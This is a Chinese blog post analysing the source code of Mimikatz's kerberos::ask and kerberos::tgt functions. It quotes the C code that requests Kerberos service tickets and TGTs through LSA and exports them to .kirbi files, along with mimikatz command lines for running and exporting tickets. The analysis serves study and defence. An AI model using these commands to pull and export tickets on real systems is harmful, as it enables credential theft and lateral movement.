Mimikatz Explorer - Kerberos Ask

Mimikatz Explorer - Kerberos Ask Mimikatz 的 kerberos::ask 功能可以为当前用户会话请求新的 Kerberos 服务票据。kerberos::tgt 功能可以从当前用户会话中检索票据授予票据。 TL;DR KERB_RET...

Mimikatz Explorer - Kerberos Ask

Mimikatz 的 kerberos::ask 功能可以为当前用户会话请求新的 Kerberos 服务票据。kerberos::tgt 功能可以从当前用户会话中检索票据授予票据。

TL;DR

KERB_RETRIEVE_TKT_REQUEST

KERB_RETRIEVE_TKT_REQUEST 结构包含用于检索票证的信息。

该结构语法如下:

  1. typedef struct _KERB_RETRIEVE_TKT_REQUEST {
  2. KERB_PROTOCOL_MESSAGE_TYPE MessageType;
  3. LUID LogonId;
  4. UNICODE_STRING TargetName;
  5. ULONG TicketFlags;
  6. ULONG CacheOptions;
  7. LONG EncryptionType;
  8. SecHandle CredentialsHandle;
  9. } KERB_RETRIEVE_TKT_REQUEST, *PKERB_RETRIEVE_TKT_REQUEST;
  • MessageType:KERB_PROTOCOL_MESSAGE_TYPE 值,指示正在发出请求的类型。此成员必须设置为 KerbRetrieveEncodedTicketMessage 或 KerbRetrieveTicketMessage。
  • LogonId:包含登录会话标识符的 LUID 结构。
  • TargetName:包含目标服务名称的 UNICODE_STRING。
  • TicketFlags:包含指定检索票证用途的标志。
  • CacheOptions:指示用于搜索缓存的选项。将此成员设置为零,以指示应在缓存中搜索缓存;如果未找到票证,则应请求新票证。CacheOptions 可以包含以下值。
Value 含义
KERB_RETRIEVE_TICKET_DONT_USE_CACHE (1) 始终请求新票证,不要搜索缓存。
KERB_RETRIEVE_TICKET_USE_CREDHANDLE (4) 使用 CredentialsHandle 成员而不是 LogonId 标识登录会话。
KERB_RETRIEVE_TICKET_USE_CACHE_ONLY (2) 仅返回以前缓存的票证。
KERB_RETRIEVE_TICKET_AS_KERB_CRED (8) 以 Kerberos 凭据(KERB_CRED)的形式返回票证,用于凭据的转储。
KERB_RETRIEVE_TICKET_WITH_SEC_CRED (10) 未实现。
KERB_RETRIEVE_TICKET_CACHE_TICKET (20) 返回当前位于缓存中的票证。如果票证不在缓存中,则请求并缓存该票证。
KERB_RETRIEVE_TICKET_MAX_LIFETIME (40) 返回策略允许的最大时间的新票证。
  • EncryptionType:指定要用于请求票证的加密类型。
  • CredentialsHandle:用于代替登录会话标识符的 SSPI 凭据句柄。

KerbRetrieveEncodedTicketMessage 消息从缓存中检索指定的票证(如果它已经存在),或者通过从 Kerberos 密钥分发中心 (KDC) 请求它来检索。

KerbRetrieveTicketMessage 调度例程从指定用户登录会话的票证缓存中检索票证授予票证。

KERB_RETRIEVE_TKT_RESPONSE

KERB_RETRIEVE_TKT_RESPONSE 结构包含从 KERB_RETRIEVE_TKT_REQUEST 结构构造的请求中检索票证的响应。

该结构语法如下:

  1. typedef struct _KERB_RETRIEVE_TKT_RESPONSE {
  2. KERB_EXTERNAL_TICKET Ticket;
  3. } KERB_RETRIEVE_TKT_RESPONSE, *PKERB_RETRIEVE_TKT_RESPONSE;
  • Ticket:包含所请求票证的 KERB_EXTERNAL_TICKET 结构。KERB_EXTERNAL_TICKET 结构包含有关外部票证的信息,外部票证是导出给外部用户的 Kerberos 票证,其语法如下。
  1. typedef struct _KERB_EXTERNAL_TICKET {
  2. PKERB_EXTERNAL_NAME ServiceName;
  3. PKERB_EXTERNAL_NAME TargetName;
  4. PKERB_EXTERNAL_NAME ClientName;
  5. UNICODE_STRING DomainName;
  6. UNICODE_STRING TargetDomainName;
  7. UNICODE_STRING AltTargetDomainName;
  8. KERB_CRYPTO_KEY SessionKey;
  9. ULONG TicketFlags;
  10. ULONG Flags;
  11. LARGE_INTEGER KeyExpirationTime;
  12. LARGE_INTEGER StartTime;
  13. LARGE_INTEGER EndTime;
  14. LARGE_INTEGER RenewUntil;
  15. LARGE_INTEGER TimeSkew;
  16. ULONG EncodedTicketSize;
  17. PUCHAR EncodedTicket;
  18. } KERB_EXTERNAL_TICKET, *PKERB_EXTERNAL_TICKET;
  • ServiceName:KERB_EXTERNAL_NAME 结构,包含多部分、规范、返回的服务名称。
  • TargetName:包含多部分服务主体名称(SPN)的 KERB_EXTERNAL_NAME 结构。
  • ClientName:票证中包含客户端名称的 KERB_EXTERNAL_NAME 结构。此名称是相对于当前域的。
  • DomainName:包含与 ServiceName 成员对应的域名称的 UNICODE_STRING。这是签发票证的域。
  • TargetDomainName:一个 UNICODE_STRING,其中包含票证有效的域的名称。对于域间票证,这是目标域。
  • AltTargetDomainName:包含目标域同义词的 UNICODE_STRING。每个域都有两个名称:DNS 名称和 NetBIOS 名称。
  • SessionKey:包含票证会话密钥的 KERB_CRYPTO_KEY 结构。
  • TicketFlags:票证标志,如 Internet RFC 4120 中所定义。此参数可以是以下一个或多个值。
  • Flags:保留以供将来使用。将此成员设置为零。
  • KeyExpirationTime:包含密钥过期时间的 FILETIME 结构。
  • StartTime:包含票证生效时间的 FILETIME 结构。
  • EndTime:包含票证到期时间的 FILETIME 结构。
  • RenewUntil:一个 FILETIME 结构,其中包含可以更新票证的最晚时间。在此时间之后发送的续订请求将被拒绝。
  • TimeSkew:一个 FILETIME 结构,它包含发出票证的计算机上的当前时间与将使用票证的计算机上的当前时间之间的测量时间差。
  • EncodedTicketSize:编码票证的大小(以字节为单位)。
  • EncodedTicket:包含 ASN.1 编码票证的缓冲区。

其中,KERB_EXTERNAL_TICKET 结构中的 EncodedTicket 成员包含票据的二进制数据,该数据可以保存到文件中,也可以通过 Base64 编码后打印出来。

Main Detail

Kerberos::ask

Mimikatz 的 kerberos::ask 通过 LsaCallAuthenticationPackage 函数发送 KERB_RETRIEVE_TKT_REQUEST 消息,为当前用户会话请求新的 Kerberos 服务票据。响应的新票据将保存到 PKERB_RETRIEVE_TKT_RESPONSE 结构中。

根据 ask 功能的名称找到其入口函数 kuhl_m_kerberos_ask:

  • kerberos\kuhl_m_kerberos.c
  1. NTSTATUS kuhl_m_kerberos_ask(int argc, wchar_t* argv[])
  2. {
  3. NTSTATUS status, packageStatus;
  4. PWCHAR filename = NULL, ticketname = NULL;
  5. PCWCHAR szTarget;
  6. PKERB_RETRIEVE_TKT_REQUEST pKerbRetrieveRequest;
  7. PKERB_RETRIEVE_TKT_RESPONSE pKerbRetrieveResponse;
  8. KIWI_KERBEROS_TICKET ticket = { 0 };
  9. DWORD szData;
  10. USHORT dwTarget;
  11. BOOL isExport = kull_m_string_args_byName(argc, argv, L"export", NULL, NULL), isTkt = kull_m_string_args_byName(argc, argv, L"tkt", NULL, NULL), isNoCache = kull_m_string_args_byName(argc, argv, L"nocache", NULL, NULL);
  12. if (kull_m_string_args_byName(argc, argv, L"target", &szTarget, NULL))
  13. {
  14. dwTarget = (USHORT)((wcslen(szTarget) + 1) * sizeof(wchar_t));
  15. szData = sizeof(KERB_RETRIEVE_TKT_REQUEST) + dwTarget;
  16. if (pKerbRetrieveRequest = (PKERB_RETRIEVE_TKT_REQUEST)LocalAlloc(LPTR, szData))
  17. {
  18. pKerbRetrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage;
  19. pKerbRetrieveRequest->CacheOptions = isNoCache ? KERB_RETRIEVE_TICKET_DONT_USE_CACHE : KERB_RETRIEVE_TICKET_DEFAULT;
  20. pKerbRetrieveRequest->EncryptionType = kull_m_string_args_byName(argc, argv, L"rc4", NULL, NULL) ? KERB_ETYPE_RC4_HMAC_NT : kull_m_string_args_byName(argc, argv, L"des", NULL, NULL) ? KERB_ETYPE_DES3_CBC_MD5 : kull_m_string_args_byName(argc, argv, L"aes256", NULL, NULL) ? KERB_ETYPE_AES256_CTS_HMAC_SHA1_96 : kull_m_string_args_byName(argc, argv, L"aes128", NULL, NULL) ? KERB_ETYPE_AES128_CTS_HMAC_SHA1_96 : KERB_ETYPE_DEFAULT;
  21. pKerbRetrieveRequest->TargetName.Length = dwTarget - sizeof(wchar_t);
  22. pKerbRetrieveRequest->TargetName.MaximumLength = dwTarget;
  23. pKerbRetrieveRequest->TargetName.Buffer = (PWSTR)((PBYTE)pKerbRetrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST));
  24. RtlCopyMemory(pKerbRetrieveRequest->TargetName.Buffer, szTarget, pKerbRetrieveRequest->TargetName.MaximumLength);
  25. kprintf(L"Asking for: %wZ\n", &pKerbRetrieveRequest->TargetName);
  26. status = LsaCallKerberosPackage(pKerbRetrieveRequest, szData, (PVOID*)&pKerbRetrieveResponse, &szData, &packageStatus);
  27. if (NT_SUCCESS(status))
  28. {
  29. if (NT_SUCCESS(packageStatus))
  30. {
  31. ticket.ServiceName = pKerbRetrieveResponse->Ticket.ServiceName;
  32. ticket.DomainName = pKerbRetrieveResponse->Ticket.DomainName;
  33. ticket.TargetName = pKerbRetrieveResponse->Ticket.TargetName;
  34. ticket.TargetDomainName = pKerbRetrieveResponse->Ticket.TargetDomainName;
  35. ticket.ClientName = pKerbRetrieveResponse->Ticket.ClientName;
  36. ticket.AltTargetDomainName = pKerbRetrieveResponse->Ticket.AltTargetDomainName;
  37. ticket.StartTime = *(PFILETIME)&pKerbRetrieveResponse->Ticket.StartTime;
  38. ticket.EndTime = *(PFILETIME)&pKerbRetrieveResponse->Ticket.EndTime;
  39. ticket.RenewUntil = *(PFILETIME)&pKerbRetrieveResponse->Ticket.RenewUntil;
  40. ticket.KeyType = ticket.TicketEncType = pKerbRetrieveResponse->Ticket.SessionKey.KeyType;
  41. ticket.Key.Length = pKerbRetrieveResponse->Ticket.SessionKey.Length;
  42. ticket.Key.Value = pKerbRetrieveResponse->Ticket.SessionKey.Value;
  43. ticket.TicketFlags = pKerbRetrieveResponse->Ticket.TicketFlags;
  44. ticket.Ticket.Length = pKerbRetrieveResponse->Ticket.EncodedTicketSize;
  45. ticket.Ticket.Value = pKerbRetrieveResponse->Ticket.EncodedTicket;
  46. kprintf(L" * Ticket Encryption Type & kvno not representative at screen\n");
  47. if (isNoCache && isExport)
  48. kprintf(L" * NoCache: exported ticket may vary with informations at screen\n");
  49. kuhl_m_kerberos_ticket_display(&ticket, TRUE, FALSE);
  50. kprintf(L"\n");
  51. if (isTkt)
  52. if (ticketname = kuhl_m_kerberos_generateFileName_short(&ticket, L"tkt"))
  53. {
  54. if (kull_m_file_writeData(ticketname, pKerbRetrieveResponse->Ticket.EncodedTicket, pKerbRetrieveResponse->Ticket.EncodedTicketSize))
  55. kprintf(L"\n * TKT to file : %s", ticketname);
  56. else PRINT_ERROR_AUTO(L"kull_m_file_writeData");
  57. LocalFree(ticketname);
  58. }
  59. if (isExport)
  60. filename = kuhl_m_kerberos_generateFileName_short(&ticket, MIMIKATZ_KERBEROS_EXT);
  61. LsaFreeReturnBuffer(pKerbRetrieveResponse);
  62. if (isExport)
  63. {
  64. pKerbRetrieveRequest->CacheOptions |= KERB_RETRIEVE_TICKET_AS_KERB_CRED;
  65. status = LsaCallKerberosPackage(pKerbRetrieveRequest, szData, (PVOID*)&pKerbRetrieveResponse, &szData, &packageStatus);
  66. if (NT_SUCCESS(status))
  67. {
  68. if (NT_SUCCESS(packageStatus))
  69. {
  70. if (kull_m_file_writeData(filename, pKerbRetrieveResponse->Ticket.EncodedTicket, pKerbRetrieveResponse->Ticket.EncodedTicketSize))
  71. kprintf(L"\n * KiRBi to file : %s", filename);
  72. else PRINT_ERROR_AUTO(L"kull_m_file_writeData");
  73. LsaFreeReturnBuffer(pKerbRetrieveResponse);
  74. }
  75. else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbRetrieveEncodedTicketMessage / Package : %08x\n", packageStatus);
  76. }
  77. else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbRetrieveEncodedTicketMessage : %08x\n", status);
  78. }
  79. if (filename)
  80. LocalFree(filename);
  81. }
  82. else if (packageStatus == STATUS_NO_TRUST_SAM_ACCOUNT)
  83. PRINT_ERROR(L"\'%wZ\' Kerberos name not found!\n", &pKerbRetrieveRequest->TargetName);
  84. else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbRetrieveEncodedTicketMessage / Package : %08x\n", packageStatus);
  85. }
  86. else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbRetrieveEncodedTicketMessage : %08x\n", status);
  87. LocalFree(pKerbRetrieveRequest);
  88. }
  89. }
  90. else PRINT_ERROR(L"At least /target argument is required (eg: /target:cifs/server.lab.local)\n");
  91. return STATUS_SUCCESS;
  92. }

该函数首先声明了一个 KERB_RETRIEVE_TKT_REQUEST 结构体的指针 pKerbRetrieveRequest,用于发送 KerbRetrieveEncodedTicketMessage 消息。此外,还声明了 KERB_RETRIEVE_TKT_RESPONSE 结构体的指针 pKerbRetrieveResponse,用于接受请求到的新票据。

然后通过 kull_m_string_args_byName 函数获取了一些命令行参数。

Request and Accept Tickets

在发送 KERB_RETRIEVE_TKT_REQUEST 请求消息之前,需要先扩展一下 pKerbRetrieveRequest 的大小,如下所示。

  1. szData = sizeof(KERB_RETRIEVE_TKT_REQUEST) + dwTarget;
  2. if (pKerbRetrieveRequest = (PKERB_RETRIEVE_TKT_REQUEST)LocalAlloc(LPTR, szData))
  3. {
  4. // ...
  5. }

这里将 pKerbRetrieveRequest 的大小在原来 sizeof(KERB_RETRIEVE_TKT_REQUEST) 大小的基础上加了 dwTarget,为的是将新票据的 dwTarget 设置到 KERB_RETRIEVE_TKT_REQUEST 结构体的 TargetName 成员中。dwTarget 为 szTarget 的大小,szTarget 是从命令行参数中获取到的目标服务主体名称。

然后开始设置 pKerbRetrieveRequest 的成员值,如下所示。

  1. pKerbRetrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage;
  2. pKerbRetrieveRequest->CacheOptions = isNoCache ? KERB_RETRIEVE_TICKET_DONT_USE_CACHE : KERB_RETRIEVE_TICKET_DEFAULT;
  3. pKerbRetrieveRequest->EncryptionType = kull_m_string_args_byName(argc, argv, L"rc4", NULL, NULL) ? KERB_ETYPE_RC4_HMAC_NT : kull_m_string_args_byName(argc, argv, L"des", NULL, NULL) ? KERB_ETYPE_DES3_CBC_MD5 : kull_m_string_args_byName(argc, argv, L"aes256", NULL, NULL) ? KERB_ETYPE_AES256_CTS_HMAC_SHA1_96 : kull_m_string_args_byName(argc, argv, L"aes128", NULL, NULL) ? KERB_ETYPE_AES128_CTS_HMAC_SHA1_96 : KERB_ETYPE_DEFAULT;
  4. pKerbRetrieveRequest->TargetName.Length = dwTarget - sizeof(wchar_t);
  5. pKerbRetrieveRequest->TargetName.MaximumLength = dwTarget;
  6. pKerbRetrieveRequest->TargetName.Buffer = (PWSTR)((PBYTE)pKerbRetrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST));
  7. RtlCopyMemory(pKerbRetrieveRequest->TargetName.Buffer, szTarget, pKerbRetrieveRequest->TargetName.MaximumLength);

可以看到,由于 isNoCache 默认为 NULL,因此这里的 CacheOptions 设置了 KERB_RETRIEVE_TICKET_DEFAULT 标志。此外,票据的加密类型 EncryptionType 可以从命令行参数中获取。

构造完 KERB_RETRIEVE_TKT_REQUEST 结构后,调用 LsaCallKerberosPackage 函数发送 KerbRetrieveEncodedTicketMessage 消息。请求到的新票据将保存到 pKerbRetrieveResponse 中,如下所示。

  1. status = LsaCallKerberosPackage(pKerbRetrieveRequest, szData, (PVOID*)&pKerbRetrieveResponse, &szData, &packageStatus);

如果一切顺利,则将 pKerbRetrieveResponse中的票据信息添加到变量 ticket 中,如下所示。

  1. ticket.ServiceName = pKerbRetrieveResponse->Ticket.ServiceName;
  2. ticket.DomainName = pKerbRetrieveResponse->Ticket.DomainName;
  3. ticket.TargetName = pKerbRetrieveResponse->Ticket.TargetName;
  4. ticket.TargetDomainName = pKerbRetrieveResponse->Ticket.TargetDomainName;
  5. ticket.ClientName = pKerbRetrieveResponse->Ticket.ClientName;
  6. ticket.AltTargetDomainName = pKerbRetrieveResponse->Ticket.AltTargetDomainName;
  7. ticket.StartTime = *(PFILETIME)&pKerbRetrieveResponse->Ticket.StartTime;
  8. ticket.EndTime = *(PFILETIME)&pKerbRetrieveResponse->Ticket.EndTime;
  9. ticket.RenewUntil = *(PFILETIME)&pKerbRetrieveResponse->Ticket.RenewUntil;
  10. ticket.KeyType = ticket.TicketEncType = pKerbRetrieveResponse->Ticket.SessionKey.KeyType;
  11. ticket.Key.Length = pKerbRetrieveResponse->Ticket.SessionKey.Length;
  12. ticket.Key.Value = pKerbRetrieveResponse->Ticket.SessionKey.Value;
  13. ticket.TicketFlags = pKerbRetrieveResponse->Ticket.TicketFlags;
  14. ticket.Ticket.Length = pKerbRetrieveResponse->Ticket.EncodedTicketSize;
  15. ticket.Ticket.Value = pKerbRetrieveResponse->Ticket.EncodedTicket;

ticket 是一个自定义的 KIWI_KERBEROS_TICKET 结构体,用于临时存储票据信息,其定义如下。

  1. typedef struct _KIWI_KERBEROS_TICKET {
  2. PKERB_EXTERNAL_NAME ServiceName;
  3. LSA_UNICODE_STRING DomainName;
  4. PKERB_EXTERNAL_NAME TargetName;
  5. LSA_UNICODE_STRING TargetDomainName;
  6. PKERB_EXTERNAL_NAME ClientName;
  7. LSA_UNICODE_STRING AltTargetDomainName;
  8. LSA_UNICODE_STRING Description;
  9. FILETIME StartTime;
  10. FILETIME EndTime;
  11. FILETIME RenewUntil;
  12. LONG KeyType;
  13. KIWI_KERBEROS_BUFFER Key;
  14. ULONG TicketFlags;
  15. LONG TicketEncType;
  16. ULONG TicketKvno;
  17. KIWI_KERBEROS_BUFFER Ticket;
  18. } KIWI_KERBEROS_TICKET, *PKIWI_KERBEROS_TICKET;

至此,成功为当前用户申请到了新的服务票据,新票据将自动缓存在内存中。

以申请 DC01 上的 LDAP 服务的票据为例进行演示,其最终执行效果如下所示:

  1. mimikatz.exe "kerberos::ask /target:ldap/dc01.pentest.com" exit

image-20230511154332299

Export Tickets to File

如果指定了 /export 选项,则将请求到的票据转储为文件。由于申请到的票据将自动缓存在内存中,因此需要重新调用一次 LsaCallKerberosPackage 函数,重内存中检索这个新票据。最后通过 kull_m_file_writeData 函数将检索到的新票据写入文件,如下所示。

  1. if (isExport)
  2. {
  3. pKerbRetrieveRequest->CacheOptions |= KERB_RETRIEVE_TICKET_AS_KERB_CRED;
  4. status = LsaCallKerberosPackage(pKerbRetrieveRequest, szData, (PVOID*)&pKerbRetrieveResponse, &szData, &packageStatus);
  5. if (NT_SUCCESS(status))
  6. {
  7. if (NT_SUCCESS(packageStatus))
  8. {
  9. if (kull_m_file_writeData(filename, pKerbRetrieveResponse->Ticket.EncodedTicket, pKerbRetrieveResponse->Ticket.EncodedTicketSize))
  10. kprintf(L"\n * KiRBi to file : %s", filename);
  11. else PRINT_ERROR_AUTO(L"kull_m_file_writeData");
  12. LsaFreeReturnBuffer(pKerbRetrieveResponse);
  13. }
  14. else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbRetrieveEncodedTicketMessage / Package : %08x\n", packageStatus);
  15. }
  16. else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbRetrieveEncodedTicketMessage : %08x\n", status);
  17. }

这里为 CacheOptions 设置了 KERB_RETRIEVE_TICKET_AS_KERB_CRED 标志,用于以 Kerberos 凭据(KERB_CRED)的形式返回票证。返回的票据被保存在 pKerbRetrieveResponse 指向的内存中。

接着,对保存在 pKerbRetrieveResponse 中的票据调用 kull_m_file_writeData 函数,该函数定义如下。

  1. BOOL kull_m_file_writeData(PCWCHAR fileName, LPCVOID data, DWORD lenght)
  2. {
  3. BOOL reussite = FALSE;
  4. DWORD dwBytesWritten = 0, i;
  5. HANDLE hFile = NULL;
  6. LPWSTR base64;
  7. if(isBase64InterceptOutput)
  8. {
  9. if(CryptBinaryToString((const BYTE *) data, lenght, CRYPT_STRING_BASE64, NULL, &dwBytesWritten))
  10. {
  11. if(base64 = (LPWSTR) LocalAlloc(LPTR, dwBytesWritten * sizeof(wchar_t)))
  12. {
  13. if(reussite = CryptBinaryToString((const BYTE *) data, lenght, CRYPT_STRING_BASE64, base64, &dwBytesWritten))
  14. {
  15. kprintf(L"\n====================\nBase64 of file : %s\n====================\n", fileName);
  16. for(i = 0; i < dwBytesWritten; i++)
  17. kprintf(L"%c", base64[i]);
  18. kprintf(L"====================\n");
  19. }
  20. LocalFree(base64);
  21. }
  22. }
  23. }
  24. else if((hFile = CreateFile(fileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL)) &amp;&amp; hFile != INVALID_HANDLE_VALUE)
  25. {
  26. if(WriteFile(hFile, data, lenght, &amp;dwBytesWritten, NULL) &amp;&amp; (lenght == dwBytesWritten))
  27. reussite = FlushFileBuffers(hFile);
  28. CloseHandle(hFile);
  29. }
  30. return reussite;
  31. }

这里,如果 isBase64InterceptOutput 为 TRUE,则通过 CryptBinaryToString 函数将票据数据转换为 Base64 编码后的字符串并打印出来。但是 isBase64InterceptOutput 默认为 FALSE,因此会调用 WriteFile 函数将票据数据写入文件。

最终执行效果如下:

  1. mimikatz.exe "kerberos::list /export" exit

image-20230511160303887

Kerberos::tgt

Mimikatz 的 kerberos::tgt 功能可以从当前用户会话中检索票据授予票据。

根据 ask 功能的名称找到其入口函数 kuhl_m_kerberos_tgt:

  • kerberos\kuhl_m_kerberos.c
  1. NTSTATUS kuhl_m_kerberos_tgt(int argc, wchar_t* argv[])
  2. {
  3. NTSTATUS status, packageStatus;
  4. KERB_RETRIEVE_TKT_REQUEST kerbRetrieveRequest = { KerbRetrieveTicketMessage, {0, 0}, {0, 0, NULL}, 0, 0, KERB_ETYPE_NULL, {0, 0} };
  5. PKERB_RETRIEVE_TKT_RESPONSE pKerbRetrieveResponse;
  6. DWORD szData;
  7. KIWI_KERBEROS_TICKET kiwiTicket = { 0 };
  8. DWORD i;
  9. BOOL isNull = FALSE;
  10. status = LsaCallKerberosPackage(&amp;kerbRetrieveRequest, sizeof(KERB_RETRIEVE_TKT_REQUEST), (PVOID*)&amp;pKerbRetrieveResponse, &amp;szData, &amp;packageStatus);
  11. kprintf(L"Kerberos TGT of current session : ");
  12. if (NT_SUCCESS(status))
  13. {
  14. if (NT_SUCCESS(packageStatus))
  15. {
  16. kiwiTicket.ServiceName = pKerbRetrieveResponse->Ticket.ServiceName;
  17. kiwiTicket.TargetName = pKerbRetrieveResponse->Ticket.TargetName;
  18. kiwiTicket.ClientName = pKerbRetrieveResponse->Ticket.ClientName;
  19. kiwiTicket.DomainName = pKerbRetrieveResponse->Ticket.DomainName;
  20. kiwiTicket.TargetDomainName = pKerbRetrieveResponse->Ticket.TargetDomainName;
  21. kiwiTicket.AltTargetDomainName = pKerbRetrieveResponse->Ticket.AltTargetDomainName;
  22. kiwiTicket.TicketFlags = pKerbRetrieveResponse->Ticket.TicketFlags;
  23. kiwiTicket.KeyType = kiwiTicket.TicketEncType = pKerbRetrieveResponse->Ticket.SessionKey.KeyType; // TicketEncType not in response
  24. kiwiTicket.Key.Length = pKerbRetrieveResponse->Ticket.SessionKey.Length;
  25. kiwiTicket.Key.Value = pKerbRetrieveResponse->Ticket.SessionKey.Value;
  26. kiwiTicket.StartTime = *(PFILETIME)&amp;pKerbRetrieveResponse->Ticket.StartTime;
  27. kiwiTicket.EndTime = *(PFILETIME)&amp;pKerbRetrieveResponse->Ticket.EndTime;
  28. kiwiTicket.RenewUntil = *(PFILETIME)&amp;pKerbRetrieveResponse->Ticket.RenewUntil;
  29. kiwiTicket.Ticket.Length = pKerbRetrieveResponse->Ticket.EncodedTicketSize;
  30. kiwiTicket.Ticket.Value = pKerbRetrieveResponse->Ticket.EncodedTicket;
  31. kuhl_m_kerberos_ticket_display(&amp;kiwiTicket, TRUE, FALSE);
  32. for (i = 0; !isNull &amp;&amp; (i < kiwiTicket.Key.Length); i++) // a revoir
  33. isNull |= !kiwiTicket.Key.Value[i];
  34. if (isNull)
  35. kprintf(L"\n\n\t** Session key is NULL! It means allowtgtsessionkey is not set to 1 **\n");
  36. LsaFreeReturnBuffer(pKerbRetrieveResponse);
  37. }
  38. else if (packageStatus == SEC_E_NO_CREDENTIALS)
  39. kprintf(L"no ticket !\n");
  40. else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbRetrieveTicketMessage / Package : %08x\n", packageStatus);
  41. }
  42. else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbRetrieveTicketMessage : %08x\n", status);
  43. return STATUS_SUCCESS;
  44. }

可以看到,该函数首先定义一个 KERB_RETRIEVE_TKT_REQUEST 结构变量 kerbRetrieveRequest,并将成员 MessageType 设为 KerbRetrieveTicketMessage。

然后通过 LsaCallKerberosPackage 发送 KerbRetrieveTicketMessage 消息为当前用户会话检索 TGT 票据,并将返回的 TGT 保存到 pKerbRetrieveResponse 中。

最后将检索到的新的 TGT 信息保存在 kiwiTicket 中。kiwiTicket 同样是一个自定义的 KIWI_KERBEROS_TICKET 结构体,用于临时存储票据信息。

最终的执行效果如下:

  1. mimikatz.exe "kerberos::tgt" exit

image-20230511163244010

  • 发表于 2023-06-12 09:00:02
  • 阅读 ( 6311 )
  • 分类:内网渗透

0 条评论

Marcus_Holloway
Marcus_Holloway

22 篇文章

站长统计